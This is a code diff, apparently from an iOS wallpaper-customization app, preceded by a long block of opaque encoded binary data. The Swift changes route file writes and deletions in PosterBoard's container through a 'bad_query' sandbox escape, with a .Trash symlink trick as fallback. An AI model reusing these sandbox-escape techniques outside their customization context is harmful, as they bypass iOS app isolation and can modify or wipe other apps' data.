zCYdxC7b?-~?8L;|)E3RCsk84({fd7a|IaV(@NYftxy6=oP?^Lqp1zCr=z-FOUEk85 z18xpJ?#Zf@o<)Rc{IXxn*UuT&{%#^v?&GgxpW*UG!yt{4j(v^Bs5~3~04uCKCiPK{ z>4M{Fv^Z(DUT&qZjg5~+96iKdE4Z!CQ5?q_P_})stJm_?H?emV5qd-9Y8X{QfduDL zz!rUHp!Y19shOFhpKwoEG5gA3fs(cRjiFBmvc!7rp72GqM(-rwyjn_oCR;#~JEV0E zQtmnnS${WY6~W`={?iEW4gGhQ4mK3O!7;HsZCQhmgScZ2Wj0E8(q#!OfqhdUd-~Sx zNA$KxQ4+D8c7!NFBHT4PFITJlz3%xnTXK(}k)p=JcKvR;%%&aVeHR!RV^FRRrP{TJ zF4s3Cfcv!3>iZaW;3jU}+6?6E7ID^)mMP_0JIjmfw{NG%6qi1FfBq+x&ZQLrJTca@Tv7q`E)sEEjVa4-3s!y5YCU2-MN(uT-h>8pSf2mHXEfwxo z*Qa~0ZrHZjo185}R`rVW9n;zbk4sFS|B2A!LR_zV)IE$IGHhXG&!SQu;oCK(168OB2o#t#6%z`^*R1^mAk1|}9Z z4lW1}pMa1Qz{J49!ooQ8-AVO& z{Fp=7$}|7ZPgK>uIykfGzj#Ky+L2K^Tg z2Bsf+W07IwunOXmD`ZykE4`}o{c?pgImz?T_lHX=hPI(nqv5Ugf!n8l{AVg~yXJVhJTe*(*)j%eklQ_< z2jGXM?zMzoEuT-Co8+rH_vh&#|1K{$bE?S+9Qiq$;sK~=u(;(I!)~G*fxb`*le^k` z;niM987{FSPhD1NQ`<;H@5$VnzV`skR-}!b^7J?KsCRaPiYlIO`LWl@5k{5g1o7%# zUEPj>?3A^ur>t9Iu|B4N(;?kcdaGXYIF#D|y92)T!ALc1*Y;rGIp*^vSLiPr2IqKo z52Po}iReyYK>%)@$fNqg;_GOmajQDJhML3_D(y$9OQWEx2&Ktu)k1*DtjZBW(<+*y1y< z513)jD9Vg_NIiS?#+CB$O*g~IxM%P$^9ytK^~d5cvQ`s!-66)h6tQ*Lyv-*<@FcuL z6@kF>TrlUgdPzm{iMUE)6ro7pQe0r<>%0q=*}vTdK{U3$w;_dY0T`?Yn?_oX^<5liYsvb_H8sZ10_sBlBW)I0qR*BUNc znMc5u4;Slvp*}jmY2f+9j2JPL_UOhMMo7m{BI!)pIt&#V_%qP#TV7F5ksVm7N zPZf5~D25qtee<_~Hw3`?V}Rxi69-5qYl?UBvD~BZL+xzl61Sv1 zbx5kBSfi_Q|MrKfVQZ#^S)OtG^*;c1%mIOZv~&xU<6L&0pAt(j*jy!I?bs#u$ac#l zm69h}<)tdaIm9C`x*n;3j2or%&C2{=<;_%FZ=qD$@h|TWW>Hb1(A6>9F`te;#gzpE zIw6GL^SwCX^U@H>t=lzG-CpQ8AZhrsYtSFt+i~mc%)K@X!5Z8P_}&aty)Sh9XEE3; z!`#Apa8ds6O$Vt0Xd;w4T2Y>k6SKN9$Ru}XyAPpXi{q7|uGG%FUjf~bC%YcfMfD&5 z-q>S_Gtee_30?A&RzM23Y!my($6s*OTHq?@JM5P-r&Kp5spF|K9FzDaz_8*3>f88` zs`bs&wF|^D>Y`U_WhzlMw4Z<7TR&Fa#tCw>&VzzNFQz3~=%jnRT z8yx8~?GLR4`4nmWfu`Z!=$h3s;h` zZho>Wd3$xV(k34Q_pTbMqtm_5fUN-+plL82b60SEh9M`$Bk51by@2U&Rd{E>-5*NN z3h=V_qASD3YvJIinZc6}_2kIQE0+7wAO!6eXFa|IPa_LR=h(s5UTQr+?$y#;kAGXz za=Hk)X+OBc1Ms1;E8qdh{(|ng(~xivJP}!6)^X9&k4JwwDvp(KPMROJ3u4!QFtDpwN^0Fidsi;W9Jz5ne=uh`_P))Ovbq9kL7NR-Jz_b6&r zmgYWhb}Y`RYSKGXmV4S|e~qk9D!U9m9sfFb81SfZ2;n<-j#Zl3JzyD3ezA|^(FD%JKveC@fM>SoIIpX7 zd;LZf&Spxv7v&Ny4o>ve7y`L58_G=4`z#{6t4nR3OB+EJJmJ|Bu@nb>m4#KyaERDB zFoDMFO*|91Nl%k5GN-ZG#lj?kNZmktR|tZ%*XYx2!*HiWwp>a*T=OqhL9cSp;th;oR$!zj%b@ z{Tv}1Khwa+KeNfw9ljLIh1G`%_xhFQV6tV++;6u4|N2dAuoYA40u-xbmGYGO>>zE% zme)6|iDm20OKQQTHn1s;xS6|pMwWQ+Wnh+COJ96%KS?ivO zL^N<@!zU&MM!JA4mW!KEshn`ZPu_gKqQSe(Q>y}ijms;4#A#{U|C~7>RNxY9J6Sh` z$OY9gD<<-?eL;Bb2d$!5A&W27J2>;Hm_HQN{NE+=Yf}* zX<@`?79)!~I&VH>uQmG?U?U0uAtSah@icWsmC#?p41lbc{`ohu3l*Bc56)?(v@WJ^ z22hLPljAUoQ4A3ctWwj=CPZ%vzf5Sr*&>YjF8BO`T~^S{pOz8`ClJ)`70)=R4GKm0 z6&Ja31lUrKGYHaui`26?fgtqRKU*v7(P{~R3IMriu3XI0viBT~eB!IOp|G0D!mUOfS z*Lq>m2Cfn%e(@V-N)XG_hOq?5?E~=948#^nPpOXW#GqCbEl`pNfD2?|$CUx=Wn+`R zQzZ`qjY9LFWM!7c@9~V_x7)!dyG}eBzvbv>*p8PFl66@W1tT{sMGRfT_x}#EOXF6z ziW5ohD7pF2ZZp709{}6;M6wz6MZk|}E{vp}r0=S9uLYE?hMk_I3#1A45nV8( z-rhzp<#W@Lswm`w!LQ?6WlYkP&+_9i-4QHNYjBoRe5`C_maBD>3K0iCqs&IqFTbc37f2o) zCPS@l+J~_gvf0)k|O?(kC&M zT(-_mI-mPn6xJjG@6v3^2OzPs3wAMshThLJfaK3h_8nM~BDoB)80w=k1c1cS)RYRo z+u@H%%SEC&VF;9;^(ua91LI=UF*EC&s(4MqCuzp)WoXFEO0(OoO%r~+b(-5XBjBb) zu0XC#&dtW9r$-BrgzC7uQZM7CzL!|Vm`d(oj_N2bl?nGNPJkZrRrkrAe}KuWt_K%k z#LF0~|<5dDZdPHO8WsGIekqqs^#F4ZoO0! z0mGg*AHuuM)K9^8TY>SV+3PK|tQzn9*A+f~#w@zTq6AJA!_+${>&#EueWONf+*w}tE^#2&k5Gc4-+Xq(3ufV;3fPt{FCgr& z6;Azft28F3&s~Mn7`!Y^#ANF+Be(UGxT% zkaH|MXJ+HCx}0%;?xQ(kBiU8)BU#;A`u45D!rNnr>`a`KO?KsUT-M5MoiProonf-4 zZcJ8W-0J)Gul4Y^E>(=Z>Veho2eTk-cmF)wGW(3af=eD^t3MXGxS|6DHHrOEpYGQw zI?ZKOt3Y=D!Ig~DuSvX4I;aB@J^xoAtoW`OpzA7b5v~c?@i**aslh$-lwq5%{Ah zpEC4_?c)db8Ku))q+v8r?N-+5lRr@OJc%|nUk{t8N&hK)Do*Z4ZexoJk7ANqN7|8Z zug>_EF980z$*gc*;vDmRTgvAX)0>)leVzwEmJZNke*F)+ra?qu<}~A5ww61wM*auZ z?v5b5;opQDl><7n=YP*10PuE(u1!_4PMv|LWI~h--1_iEQb^sLZ^gTwm=>Mm318IY z(v5wxlmX6W|X7L$2K*SW1 zjM9SL;JZEMZ$>rW^d)kwf;yYzTKq@X1srP=pEe0J(Yw-ku3q)gg1fPUiS;wQaOW1+ z62qI|J~uWG06c*C1@Jcm#%)g;_c%Cx6q=H=qcg))?nlA@O~#X_#1Ws4JCLFY4>`i) z?wyPGOvTx5^a^}hwnX}#Z}6G2Vf6zLG*i$qT$?wIe$@@kyu9Rj6Mbh=f+t76$9W4YMJ?~?w@=hvz?2H3G58HnN) z3^UA-8RnICMbAAR*X{`2>xSR+lwW_rTr}TCvBv)MDVKV>0axHIQf1Bvzn%rlGn*pW zOnfGgihP*m)iYayINOvT*qQ!{+QA{GqSt5$@Lxd~LViu8UI%!ZNXO+p@j|WZU&X;T zoQ`wuz5kcDa?mctW~UHYhbcchv9{k)MKf2-U;T$m9+0B5i9BWSf z$~8=NF{r6>J?%N@2qzH$EudR94m9@#{B;dhezMswSci!nYLGkbS4?}fl$LA4;tz0% z$uKLLAjjNj;m#EM#r)&X&og8D$lOy+-0=Xc%qSPvW;#3*G4i2I(rs!>JWPN;Su9?c zxx9-GPc*HJ;&^u#BP%D)!?DNkJg&%<4xJKfZ0y&w)_GOUQ*Tol)8?mfTFH1UvUZ}f zo@jnI?T-l~RhA0uTx#ZBgk9Q`f2Ju+i{jT>xV}~3%bzjN-l%czj-%m(x6iPXFot!$ zDFe0Wq!h^45c6csqMeWg5Ba>|_Z-YNIqo1;2>E%{zxC@0NE0^^lO_S{}4hZLV?d4|*1Keo1jDUpjN{4pn1 z$>%vvS%KBlJQm6eQ0uSuy4o{wc^^Upc8Gt#_L=K{#ig7NHwCyQUl?&^rEFGdi#(Yaw zHVOuF_8Hg0R;ugV2DU7AjKkeeNY<`iRurB@3*Yl_syJWYp2tOM#GE%~he|*C?+`_A zIgiF;Y~#_7B00nrwK=YnoT;rld@ByBoi_4vuC!0L=!g^hgbUXm0L&dGMqR^l_8fh+ zpwarJ)zmldHa1Mqz1*(6ymA%ZAj+PTVjpx@Jw6<08gS@!zg!hQ43)wyT?u`4s zsC5k&t^Nti6N$H+e?B+*K(sW0V98_u{`pt!n;Yu)b#kkw4HBlOf%lF_abTog2*oJ! z;(v;@1j(Vm82<@jL=@e;cpU-c zK9ptR@mz3Wqr{w70HJj;pNKPPL%nS2m14G3#DMxm8NC|>F285GId!&j>oXe+*~3TJFN&XWkjkQlf>uVq4KYP!UXhJ z{?XB~4{*k*c4lZ@ZS$JNa@CVyuRS*s`x+>&h{VpO4b`SDJvt+p9WQ$>vgF<;B zxw1hIz`MYClV$%%r8aQ`KdH<))4v+7q^7DliI*isL`G1B1hwtJ+b`Yst_wzE2YG}X zE(G-I>|ZUrh`ye6pl}oHnsnqJeK~_Z3*}5xYJNx9r2Qgpd~mxJ)>7Xx^`;;1P}o!~ zlW@sij$`u4K$`T=5s3k=Sm^rQUeWQz`0wMxOi%b`+KiZ6#dyw4DDSSrrh}hDsGlMN zwC$ACkfLmdv!F)h>;o12doDQA1PMLsL>Jwx6WdYLmno~(hOYV085)zZg<&*-Q~OKt zep5A-BvzW#TGmr=L{OgTQ$}`g}`ZKx>#|$-LcbsjrY$ zyxo3xFo>N|;&m(TH-rVXeNxPUQn$gCZ;c>nZIaBpPId>Kus^{!Aoi0zK9tz@)l9O9 zBlTwoPg>>s94~rd^=!fRT**=G9eFC33zvGZ3uTx;|DnsA;_BD_Y+kWID)xW<=b&OM z*+%b5yw(Zc+TX^5@3>q=&fA+C9snf=cK=Rcl~>*UEQo8hH>xb*iAPukfReZ3{7ZPQ zBJ9OxkVqdf#PGLO8Swy~!ib_uRQ%nJaWmfwMVfj(o%9q%_DfVXu? zuU0Kpi)Aow)QI9#7XxAiN2;k<_D(v{sm^$RY6-5f}hdi=FiJuUT9 zrLM_&4jBv;O6_*+j8yW1-(TZawMw%MAe?>|N_!V6+@^1dR?_dcG5t_nNx?^nhOgGx zoK$|oW9FcqNyNG!S(yoyzWqP_1@lKOQn^4ba$Q#Sr8{iAf=QIKIlL38Li|<>G-dH? zEy)7YY*C%nFX_IUT2hiA2VsKxUv`B~;GzG@+X-~(XBs5gDAyd@ev9qXj>x%rgnYcW z`M*@(#%rj`$1^pQ?&3w;j{T>rcPFEg`vT*|TV z(jbjXoIF-Tsj(rYGZhfNC*3F(wYD*=XYTC?n zeyu+!DeI}`#ByH+0yt)^*Y_Sz)a@~o_7x6&arySw`~eWNf@E($00-qhv!n|hKLZME zqa_Bb?4$)d2bfxYu1c=Ncq;6##2ShQs0I^g@>oz5``zLDAt@Mt=Krvs1dWwO#28l% zsue~g$w}OnQkUo8y2UG}%`1ev`3P~HEB>2&02pm6WK2!xc6!VZchK$z2a%677~i+| zL3z&&L#15cj{7naDD%AH1v_?c&&o+$G|c`{g!My~C(4YQSa?71ceTs$E|_5>yIQ)| z8I((;H(IfnvCr0MWSb@!3rEw9oQ@fyBaBH=dit+ReBTPmUxD!oc@47{8?efO0Q28o zB_`KEaM%{bDZvQDDcx5b-aW5HD=5TI)gyvQX{>OkQ&)izAXyh!Th%WBRN zTNSSIh)JPOA;FV|TA+Rhi%A(^cu;>UnDck*&UniaHjlz)$r7BW>yDFiPL-5vI`8%C zE&#kxVvY7eJibv^hXf{-(|`G4rc>f`5%Yv<#{?Y-IHP7;iD=ya9k~mk6kqTerch@% zN<7S`MNyjNJpfETkdGV_^f42E`!rs(-hKK3`40IEct0|=V_C-`a_b zrHvhsohJ?#VMP3}lSzGR1qR3PAF%|5Wp;OL+a%?5rosNGT8y|J(WSn1 z|FclJNN0_E$IAByU5id%WT?}2ACJ~7^xmtNvi?baIS1fpp$DEWurA2N_hY>&2TK{~ z>7Uuxp0F5Kiuk+rP^tO<(@_ks*Vg>T>w<-~ALkrs1qk&oe(|ruqFCWFI2HXTdQk`` z2KFE%u0Nw?CwC4TG~SPlqeW{(eoj}LMlQG*Vi$kIiT1?6W^Zg{J;ScN%&b&IiDZA1wss;!8DfHk5NZZ(S5xHu&zSN^EmsNN+*Pt@g|r zAEi$JzAqoIopR~a%XIyh2-fvTOk5=O1hdtntd^v;N4PK>x-9)=AVo2=xM~;DpSp_s zU&^V0u-Lr>kxp&a?=#lh=oj(JF8a}@pkA5jPr=CqSh;V$jTWwGjaZ$G-!GN%xxR&i zb&sL!34sGt|H0H*s95NF(|PL``Nkwh`JDZkpoOLEL_73EdMA9m**ZLYR7&I}{KS;iyGqk{XZL6|q$h*BZp!#yt%^pe|GeZ6ER-CJObyv$T;2-%Z)<-sOOhJr z*3KtGI;8F)NQbJP<&FGwxwX>vU7q)ClPt#%Ko2pG)+Z6)`S8rQT5`I<74o-&&i4xF z%r7BlpZOUN*(1#g7Jyw^-{|azsmpz58dEfl4Uq=}^dzURgIP=3~CY^u5=p zb8xuj4g6S8x7wPnL6pkf(geu3!DZrtNt{%BGNks5U#8t@{b`qZe2aSpXCYOS*w^%I zBcGjzYX$RYKcn;Oa3B#I7z@8Z{0wo-{}w(uWQxwD&HB+7z$VAgb*5e$?K3AA#;p`>wyE^1tObC^>Ta1IBxbK$t>{ZP$^Y{5KTIjky`_0U9rVE3g1GdtY zSoNn_6s7=p)8aIjn7$Y>>0MkH^z~qkKUhsWXUA~frS^m`wRSZ)5BFWHH@P$&GqXy^ z?W3j&)U}ZV0%cyI;|pobX?4D1Y=N!n@n=RIR`9EGn-IW8i|}BNfGI{Eh~YpL0STcd z0m_rlUf;E5u*xJt0(Vmw-9Nsq-0=a{PZtVDdEO`0G%?<)JpgwSWoAz?|Ax`CZl+Gf zEAf!sK3WJKcOc6O?IVr!YkH27pAn108|TG0rNDMp{m#O?YmfDFvM%&HOOsreA}r^6 z=1|!KBBqLUUQP_rN%~u&krr8qhVmChSU-QHGsJL%^oa_;Q{Dm*hx0rO>g9Iw$A3OE zd?UyJulTwi*{eW}M)GQ2(CO3zskj3@U28&!;|b;0;Q{OkFgdZkb?lnSt# zM;t^2HvYdZ z(CPO8)Qlq}jA69?FGT39AJ1XUl0E`n@~@3L3J9nmZYKXq^(#FkUL@1png|7_Bn}{V zc_>rP&qA{<)k#rD0f z(n-$miBjjrunh#tds`ElOL>Z4)7p@#NEV5ds`HAJN~_zRnd6Z^NxtjVB|?cN7G19> zP54}lSGvX;sE|nxGM0Q;C5M5#f4eDo;Y{&}P^j`c3suC@lI<%48m3#H%RY}re*P11 zR(q4z7SB{IU)Tzlvq$Q@wWZ4G zw^}GV>)`ix_r8!zci4e~3ewe?C4j{5^^n@H^ja%_bZVVm4o(!R)cN!wPA*?%2u%jd zkH8j!)8%Wa<8yf_G_M8zyvT|#Hlp8F27L7fu5-FHiu-40V0_C!l92l^lALhs?>m3P z@GEN2)(H^(+KyY{33tJ*MB3oMn6$f*O`^M+O!!^J%}%G~u($ESf}y?mmBZCqgWoIR zGy;#?_2Qie;P=VfY5@jS;=1;A@pjY{zRXvHqJZ_^xlDE5 z{S>#z7xl4{BYw>lQ_L~Ha!LqxMC?1FjX*3-$`ZRYVKC}N*rU#g`~-*iKxoDlPQ_Uq zK_waDe)9&6s?9WO*(Un96xKxullP^@a2fxM%C*BhzEvBV5c)5mG6t2zH?S?P#><2G z$%vCI2@Y?n0^k1)!NNK&qsO=`C1mTc(@Hfx7jxI>v3+jk0iSc_xQrC0!Stb>jqb?o7K-`9_Kn@dF@oG za{aSwu;A8}E7^%){-#GWEB7dSVp6Bcsgyqb1F3nx>eo20I*yLc5dr!*cf3P+;kHK) zK+y^0K9&Y{$7giHjEr9<{?F+IyJeYni)i1Kfj$7%I4h_j{UFr`fc+{QvRA%>`Xque zX5lctR3X2>#UO!FX=;ga;IkDR#FP6SKheS+wmHL7G^mz-F53%uAYFI=8~&Z#ZdRD@ zoEf#5Y{s5j-aFsvDHI@9z_*utx9;8%d`7v+Net{qOY z_L|Q#p42?IvV&MQCPpAe$(jJnBuz{G~R(#M9pf@0pG|Uciq<8`ey$oz{XSX{}U0XmH*goi*(C zRdK3Jg|IBW<5`*trcU-Z&f<+74H|@I?N$==2=blj;M+~N^D4c*9oog6D|DEU*F$CnL$eR1#zL2_Ql!MJxLIDWJl@Q%L%g)Fl)IT77DWi zW}Nr70I5klWIYtFrW5b$cKia^LP8%|I4v{Qd8(Vl#2}duE9CEucyy||^=0k~uRqb& zD`%(hU1tAz=?Yz^4bl5G%0K|TLU4?EydT(`|FXFxzx4hh7aQTXoEJ+1GdA~99fk*u z;WmVqbN(7*i`#vD#rra;5P9}?qe7b5!qYLQ$6tS|W4@O2D8}fC(vq<#e||8XeoQ6R zPN2(DMSMZC`La5<%6Qk>2X4cs0rWCV{*3BKwSklAjafm*GU5!g*nFZdH@c|O zBk%7-FvPpy4k9b0()XLQ{OY#}sqcDVr;ux5^l1M9*bdig6-9#zqt-DW#wQDE-+rF4 z`a=&7ufV^vz*z_AufHsnW0O4j|MZMmZDmSefZd3)wCGJ>xZ$ISgyX|BqOa9Sc_p*T zYLpnETv$;zURN!8f=?$~H4Ap5p0K?YGhk=bSHxuQlFvioI+ad&Cm{aRD}!^=1F_C4 ztaWOWwxG?mlF=%P-{W!U8N^rJVFbXDk=|Ho=%5Oo>|P`^aqMQeeA`tliX@poI%4vO;G z&ST8bbA|k2zTaFNz9BP7P@t;CCn78JQ2DM+`G$)Tpn6P+k+`nOd1tMhF-P@s)$K!r zCL&i3o+{Tf3tk)67n@RU`w?d~mAp@*?vBCZo*5Q-@WpHpsyLpbZJuN9hd{$+p2C?j zE5C-X-~&7a3)Mo{uV;(~SlJ7@=R|ne8Invb0EZ3Ype zuXE$_N#c7?$<{I(Dc24!=lNxAEtyfn8Oh!A`Nkt(u=h_igaEo^+7Y>9#u`cZZ>`x1 zoY|OGNZvCRnJ;JY&p-QCz*b!gQCRYf++1p1??Z8c3X^WK;6lBbI^sNQi~di+FRX-M zCo40}g{-925`ay{Rx4?)zskfa!e`_zjm7%$Vl~Peqo6S8O8o4CSgu!Yump0>GCi_X z;us>5glpaKlmwJ7ueS33EG%PN)QQ-}g#SHirfK?&r?CxlnaKrS#2n<)`?B+$G_&K|V!NS|G`{FMrL2PpG+~ zd0Kl6T7WJwen-cDflD_plBqVk8#H=C<=B&o8j=oWJKe>U4M;&e01Ra-lC=lm*R5Mu zV)|S0mz2r!44dK7%h!>*t;v#K17c7J^(Ui9kJrtw0EQWrsJFZoN97#@4X1pg1;2lDikI;^R7A0KOW8e)n+)wvGuFC4=#o&Ee>4arx$#KN{} zBGlJ`*kpG^;YECbQ+g_rU1q6elM1vRQa zJJfa>wvy3WmF0~AG}x1m_h(jUP%U5Be=e0A{ADHkG-GR?x_{^7yRYR0Lq`N#+SJ}a zR-c55Ayqvtp~Q}UK!SB$YJ{v}mM(S7B^bAlhPkO`^`5%ae_6$XxR(2`Q)Z?;2uWfC zI)74_d6i8-0Kd0QDn{yp_vFbJDe|sg=xd)D8<7JSx(~pf-ZLV3z72a7^@tI?rgLI0 zDo9L@+s8^$pG+Ib)j|nue`**fwEZ_{ZuGOQ$AEgJnq^~^5Bzr7Ya7q{0mz;CyJKk1 z#p=Dy@6SWD4gX6~o70~$Ihj5`Os&Gl5%4+cP!|D-6P9Nxx!X{^)ekA!yDxTm z3tgUOdqab2zRBqy!xr0;V?QC4t&IG)0Y`~?dqj6P{%)y0K~KzLUS{kHdr=%k8_r^P zGI`QP{`9&yFUD=_m(Nt4S_e*pYTY465uE3_#Bo^KeV_-xyvWE&pXTg_bdjsE^9jC^ z>JwRC0T9!5DKbZd3VAwNnTT@iFR{JSKGT~& zxPYDvwsr@j)WrZNO}9DLbdbse;Fv+D+=Bc!gu|M)Cl@4Z7G8!Ppu)ev9t{Pk+ZCOzz31{|488 zBisKHWqPuVe6{zIW=AG59g>WI;JkXccQN z>fo1}qG?JBz~sWVsiGUqie(5t??!u~&5olNDC*glmgcu2NFGzX(CU;xJ`~ea*B@=X}-?$@a;j5pZ^w=kSu&nXFh>{kte^tRA35KfknK9d?3%+ zimqEjV4Kq{c@9>UHQ>yR0GI{?Pm28ypFz~q1gDIaB#>h3fX=lFR@bA*a zrIByn+9viMSve+ep_FGGOWyn>50|vM+znOCw6XdLA;seU-@Gd-?0gL zJr#0$T_`J-{dY%Kgs%6Z^$RjtB({-LTCv*fH%JkTPPn>lteERyk4qkncH$QsL-~W& zpTu=AtVmI@a-o5<4yI;PnwBTfmrk};qJ+}PUTL)SGP!uPBmUa6$9rZj!~g2CR7}#> zBLsxZRS7`rXp+!-#^Vsy8RFo&WJMOgt}`nailDn-`&G-Be2vid8K6${FkwA6gU1h} z)i2DVA5Ey`lV=Mq97cS}o+kYydeeeUkws^8=<&VjeE#u^{`s^*&owb9gOI#IWy;G; zai%TTd0^^9@utQ;?Ycktbv)#l(vP_$+WV^V=q2P*)4cRui-3;(=_9Z-%vY6QK?93|NAotIf{z> zC(jgc64`Ux9w`&-g`4UA#%M-zE|ktK5oDfs$dp~z=kNef`V8rRcC|PldxF~sXLqc8 zjgMluOU~F0fy`B(P=6~*f&|z-s=7kUPbW`W14Cuc6i#rzAl|){aiThh2+t49(m>8EfVQQ%iNnB zm)#`eWv*F(*IO&~K_ zt5OJI(Q?Pd!|_xFB_}74m~_lP$wOp5z0fq)$mFqpsjO25G;kug@^#n-8}VLwgsHfzBYg2j zFm{D|Os`LoCIhw7y|u_5YubKW*IZH+5-1|{4?x(CXS{8kDboi1(sJcOWN!KqdZ!+q zb<6OrX^Za@Qr8*n1U_;*d{#>rG0uA$ay$510_OpUq9wa(KK6UFVYS=FA@xVC*wZ#0 zLn{vApSR#A(cg)^LE6$H5wF-{_V(R9r`G45a)!j0v1N@TCY#&t?r;eXI}VD*1hD3{ z<>TUG*?j#N7B!9}YJR~q1C|_AJF~n~O{L_u?xVgHy$L$SGI16A6aX;7^@o4IlIw{z z$kW24cyCJmEtu@&bI-@PojQD)ER0jun3I9I=p*QhQ^}u=b!U}|V%AgqukiYeC6}h| z1r~1;euTC<&UbI@ zCYdxC7b?-~?8L;|)E3RCsk84({fd7a|IaV(@NYftxy6=oP?^Lqp1zCr=z-FOUEk85 z18xpJ?#Zf@o<)Rc{IXxn*UuT&{%#^v?&GgxpW*UG!yt{4j(v^Bs5~3~04uCKCiPK{ z>4M{Fv^Z(DUT&qZjg5~+96iKdE4Z!CQ5?q_P_})stJm_?H?emV5qd-9Y8X{QfduDL zz!rUHp!Y19shOFhpKwoEG5gA3fs(cRjiFBmvc!7rp72GqM(-rwyjn_oCR;#~JEV0E zQtmnnS${WY6~W`={?iEW4gGhQ4mK3O!7;HsZCQhmgScZ2Wj0E8(q#!OfqhdUd-~Sx zNA$KxQ4+D8c7!NFBHT4PFITJlz3%xnTXK(}k)p=JcKvR;%%&aVeHR!RV^FRRrP{TJ zF4s3Cfcv!3>iZaW;3jU}+6?6E7ID^)mMP_0JIjmfw{NG%6qi1FfBq+x&ZQLrJTca@Tv7q`E)sEEjVa4-3s!y5YCU2-MN(uT-h>8pSf2mHXEfwxo z*Qa~0ZrHZjo185}R`rVW9n;zbk4sFS|B2A!LR_z Bool { + // Load Preferences private frameworks if needed + dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW) + dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW) + dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW) + var langManager: NSObject = NSObject() if #available(iOS 18.0, *) { guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false } langManager = obj } else { - // TODO: Need to find the correct class for this on iOS 17 guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false } langManager = obj } @@ -47,6 +51,63 @@ class PosterBoardManager: ObservableObject { return false } + /// Wipe PosterBoard custom descriptor collections using bad_query (real delete). + /// Falls back to language-toggle trick on older exploit path. + func resetCollections(appHash: String) throws { + if SymHandler.prefersBadQuery { + try wipeDescriptorsViaBadQuery(appHash: appHash) + return + } + + // Legacy: language toggle forces PosterBoard to rebuild collections + guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else { + throw ApplyError.unexpected(info: "Could not read system language for reset.") + } + guard setSystemLanguage(to: lang) else { + throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.") + } + } + + /// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors. + private func wipeDescriptorsViaBadQuery(appHash: String) throws { + let ver = SymHandler.getExtensionVersion() + let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash) + + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions" + + // Open parent with sandbox extension + let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true) + defer { rootHandle.release() } + + let fm = FileManager.default + guard fm.fileExists(atPath: extensionsRoot) else { + // Nothing to wipe — treat as success (collections already empty / never set up) + return + } + + let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot) + var wiped = 0 + for extName in extDirs { + let descriptorsPath = (extensionsRoot as NSString) + .appendingPathComponent(extName) + .appending("/descriptors") + + // Ensure we hold an extension on the descriptors dir itself + let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true) + defer { descHandle?.release() } + + guard fm.fileExists(atPath: descriptorsPath) else { continue } + + let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? [] + for item in items { + if item == "__MACOSX" || item.hasPrefix(".") { continue } + let full = (descriptorsPath as NSString).appendingPathComponent(item) + try? fm.removeItem(atPath: full) + wiped += 1 + } + } + print("resetCollections: wiped \(wiped) descriptor item(s)") + } + func openPosterBoard() -> Bool { guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false } let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject @@ -70,7 +131,6 @@ class PosterBoardManager: ObservableObject { if !FileManager.default.fileExists(atPath: path.path()) { try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true) } - let url = path.appending(path: fileName) // Remove All files in this directory let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) @@ -78,17 +138,17 @@ class PosterBoardManager: ObservableObject { { try FileManager.default.removeItem(at: fileUrl) } - let url = path.appending(path: normalizedFileName) + let zipURL = path.appending(path: normalizedFileName) // Save our Zip file - try fileData.write(to: url, options: [.atomic]) + try fileData.write(to: zipURL, options: [.atomic]) // Unzip the Zipped Up File var destinationURL = path - if FileManager.default.fileExists(atPath: url.path()) + if FileManager.default.fileExists(atPath: zipURL.path()) { destinationURL.append(path: "directory") - try fileManager.unzipItem(at: url, to: destinationURL) + try fileManager.unzipItem(at: zipURL, to: destinationURL) } return destinationURL @@ -213,20 +273,34 @@ class PosterBoardManager: ObservableObject { SymHandler.cleanup() } + let useBadQuery = SymHandler.prefersBadQuery + if useBadQuery { + UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…") + } + for (ext, descriptorsList) in extList { - let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext) + var foldersToWrite: [URL] = [] for descriptors in descriptorsList { - // create the folder for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) { if descr.lastPathComponent != "__MACOSX" { try randomizeWallpaperId(url: descr) - let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory) - try FileManager.default.moveItem(at: descr, to: newURL) - - try FileManager.default.trashItem(at: newURL, resultingItemURL: nil) + foldersToWrite.append(descr) } } } + + if useBadQuery { + // iOS 26/27: direct write via container_query sandbox extension + do { + try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite) + } catch { + // Fall back to legacy .Trash symlink if bad_query path fails + print("bad_query apply failed, falling back to symlink: \(error)") + try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite) + } + } else { + try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite) + } SymHandler.cleanup() } @@ -238,6 +312,16 @@ class PosterBoardManager: ObservableObject { } } + /// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it. + private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws { + let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext) + for descr in folders { + let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory) + try FileManager.default.copyItem(at: descr, to: newURL) + try FileManager.default.trashItem(at: newURL, resultingItemURL: nil) + } + } + static func clearCache() throws { SymHandler.cleanup() let docDir = 